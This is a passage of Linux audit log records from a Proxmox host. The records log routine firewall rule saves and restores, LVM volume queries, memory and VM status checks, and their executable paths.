cap_fver=0 cap_frootid=0"} {"@timestamp":1781965974929,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965974.929:67887): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965835579,"@rawstring":"node=pve type=PATH msg=audit(1781965835.579:67314): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965969954,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965969.954:67886): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835558,"@rawstring":"node=pve type=PATH msg=audit(1781965835.558:67313): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965969954,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965969.954:67885): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835558,"@rawstring":"node=pve type=PATH msg=audit(1781965835.558:67313): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965969954,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965969.954:67884): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835547,"@rawstring":"node=pve type=PATH msg=audit(1781965835.547:67312): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965969946,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965969.946:67883): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835547,"@rawstring":"node=pve type=PATH msg=audit(1781965835.547:67312): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965969946,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965969.946:67882): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835539,"@rawstring":"node=pve type=PATH msg=audit(1781965835.539:67310): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965969946,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965969.946:67881): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835539,"@rawstring":"node=pve type=PATH msg=audit(1781965835.539:67310): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.741:67880): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965835533,"@rawstring":"node=pve type=PATH msg=audit(1781965835.533:67309): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965738,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.738:67879): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965835533,"@rawstring":"node=pve type=PATH msg=audit(1781965835.533:67309): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.737:67878): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965835528,"@rawstring":"node=pve type=PATH msg=audit(1781965835.528:67308): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.737:67877): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965835528,"@rawstring":"node=pve type=PATH msg=audit(1781965835.528:67308): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.733:67876): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965835521,"@rawstring":"node=pve type=PATH msg=audit(1781965835.521:67307): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965724,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.724:67875): proctitle=\"ip6tables-save\""} {"@timestamp":1781965835521,"@rawstring":"node=pve type=PATH msg=audit(1781965835.521:67307): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965717,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.717:67874): proctitle=\"iptables-save\""} {"@timestamp":1781965835515,"@rawstring":"node=pve type=PATH msg=audit(1781965835.515:67306): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965710,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.710:67873): proctitle=\"ip6tables-save\""} {"@timestamp":1781965835515,"@rawstring":"node=pve type=PATH msg=audit(1781965835.515:67306): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965701,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.701:67872): proctitle=\"iptables-save\""} {"@timestamp":1781965835509,"@rawstring":"node=pve type=PATH msg=audit(1781965835.509:67305): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.697:67871): proctitle=\"ebtables-restore\""} {"@timestamp":1781965835509,"@rawstring":"node=pve type=PATH msg=audit(1781965835.509:67305): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965694,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.694:67870): proctitle=\"ebtables-restore\""} {"@timestamp":1781965835503,"@rawstring":"node=pve type=PATH msg=audit(1781965835.503:67304): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965688,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.688:67869): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965835503,"@rawstring":"node=pve type=PATH msg=audit(1781965835.503:67304): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965682,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.682:67868): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965835496,"@rawstring":"node=pve type=PATH msg=audit(1781965835.496:67303): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965677,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.677:67867): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965835496,"@rawstring":"node=pve type=PATH msg=audit(1781965835.496:67303): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965670,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.670:67866): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965835492,"@rawstring":"node=pve type=PATH msg=audit(1781965835.492:67302): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.663:67865): proctitle=697073657400726573746F7265"} {"@timestamp":1781965835492,"@rawstring":"node=pve type=PATH msg=audit(1781965835.492:67302): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965656,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.656:67864): proctitle=\"ip6tables-save\""} {"@timestamp":1781965835488,"@rawstring":"node=pve type=PATH msg=audit(1781965835.488:67301): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965650,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.650:67863): proctitle=\"iptables-save\""} {"@timestamp":1781965835488,"@rawstring":"node=pve type=PATH msg=audit(1781965835.488:67301): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965646,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.646:67862): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965835487,"@rawstring":"node=pve type=PATH msg=audit(1781965835.487:67300): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965642,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.642:67861): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965835487,"@rawstring":"node=pve type=PATH msg=audit(1781965835.487:67300): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.641:67860): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965835487,"@rawstring":"node=pve type=PATH msg=audit(1781965835.487:67299): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.641:67859): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965835482,"@rawstring":"node=pve type=PATH msg=audit(1781965835.482:67298): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965637,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.637:67858): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965835482,"@rawstring":"node=pve type=PATH msg=audit(1781965835.482:67298): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965628,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.628:67857): proctitle=\"ip6tables-save\""} {"@timestamp":1781965965620,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.620:67856): proctitle=\"iptables-save\""} {"@timestamp":1781965835482,"@rawstring":"node=pve type=PATH msg=audit(1781965835.482:67298): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965615,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.615:67855): proctitle=69707365740073617665"} {"@timestamp":1781965835474,"@rawstring":"node=pve type=PATH msg=audit(1781965835.474:67297): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965605,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.605:67854): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965835474,"@rawstring":"node=pve type=PATH msg=audit(1781965835.474:67297): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965965597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965965.597:67853): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965835467,"@rawstring":"node=pve type=PATH msg=audit(1781965835.467:67296): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965964932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965964.932:67852): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835467,"@rawstring":"node=pve type=PATH msg=audit(1781965835.467:67296): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965964932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965964.932:67851): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835462,"@rawstring":"node=pve type=PATH msg=audit(1781965835.462:67295): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965964932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965964.932:67850): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835462,"@rawstring":"node=pve type=PATH msg=audit(1781965835.462:67295): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965964922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965964.922:67849): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835453,"@rawstring":"node=pve type=PATH msg=audit(1781965835.453:67294): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965964922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965964.922:67848): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835453,"@rawstring":"node=pve type=PATH msg=audit(1781965835.453:67294): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965964922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965964.922:67847): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965835444,"@rawstring":"node=pve type=PATH msg=audit(1781965835.444:67293): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965964805,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965964.805:67846): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965835444,"@rawstring":"node=pve type=PATH msg=audit(1781965835.444:67293): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965964771,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965964.771:67845): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965834906,"@rawstring":"node=pve type=PATH msg=audit(1781965834.906:67292): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965960987,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965960.987:67844): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965834906,"@rawstring":"node=pve type=PATH msg=audit(1781965834.906:67292): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965960987,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965960.987:67843): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965834873,"@rawstring":"node=pve type=PATH msg=audit(1781965834.873:67291): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965960985,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965960.985:67842): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965834873,"@rawstring":"node=pve type=PATH msg=audit(1781965834.873:67291): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965959914,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965959.914:67841): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965834469,"@rawstring":"node=pve type=PATH msg=audit(1781965834.469:67290): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965959914,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965959.914:67840): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965834469,"@rawstring":"node=pve type=PATH msg=audit(1781965834.469:67290): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965959914,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965959.914:67839): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965834469,"@rawstring":"node=pve type=PATH msg=audit(1781965834.469:67289): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965959908,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965959.908:67838): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965834469,"@rawstring":"node=pve type=PATH msg=audit(1781965834.469:67288): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965959908,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965959.908:67837): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965834464,"@rawstring":"node=pve type=PATH msg=audit(1781965834.464:67287): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965959908,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965959.908:67836): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965834464,"@rawstring":"node=pve type=PATH msg=audit(1781965834.464:67287): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965959615,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965959.615:67835): proctitle=2F7573722F62696E2F7065726C002F7573722F62696E2F707665736800676574002F6E6F6465732F7076652F3837372F7374617475732F63757272656E74"} {"@timestamp":1781965834464,"@rawstring":"node=pve type=PATH msg=audit(1781965834.464:67286): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955585,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.585:67834): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965834464,"@rawstring":"node=pve type=PATH msg=audit(1781965834.464:67285): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955582,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.582:67833): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965833585,"@rawstring":"node=pve type=PATH msg=audit(1781965833.585:67284): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.581:67832): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965833585,"@rawstring":"node=pve type=PATH msg=audit(1781965833.585:67284): item=0 name=\"/usr/bin/curl\" inode=274167 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.581:67831): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965829456,"@rawstring":"node=pve type=PATH msg=audit(1781965829.456:67283): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955576,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.576:67830): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965829456,"@rawstring":"node=pve type=PATH msg=audit(1781965829.456:67283): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955564,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.564:67829): proctitle=\"ip6tables-save\""} {"@timestamp":1781965829456,"@rawstring":"node=pve type=PATH msg=audit(1781965829.456:67282): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965955552,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965955.552:67828): 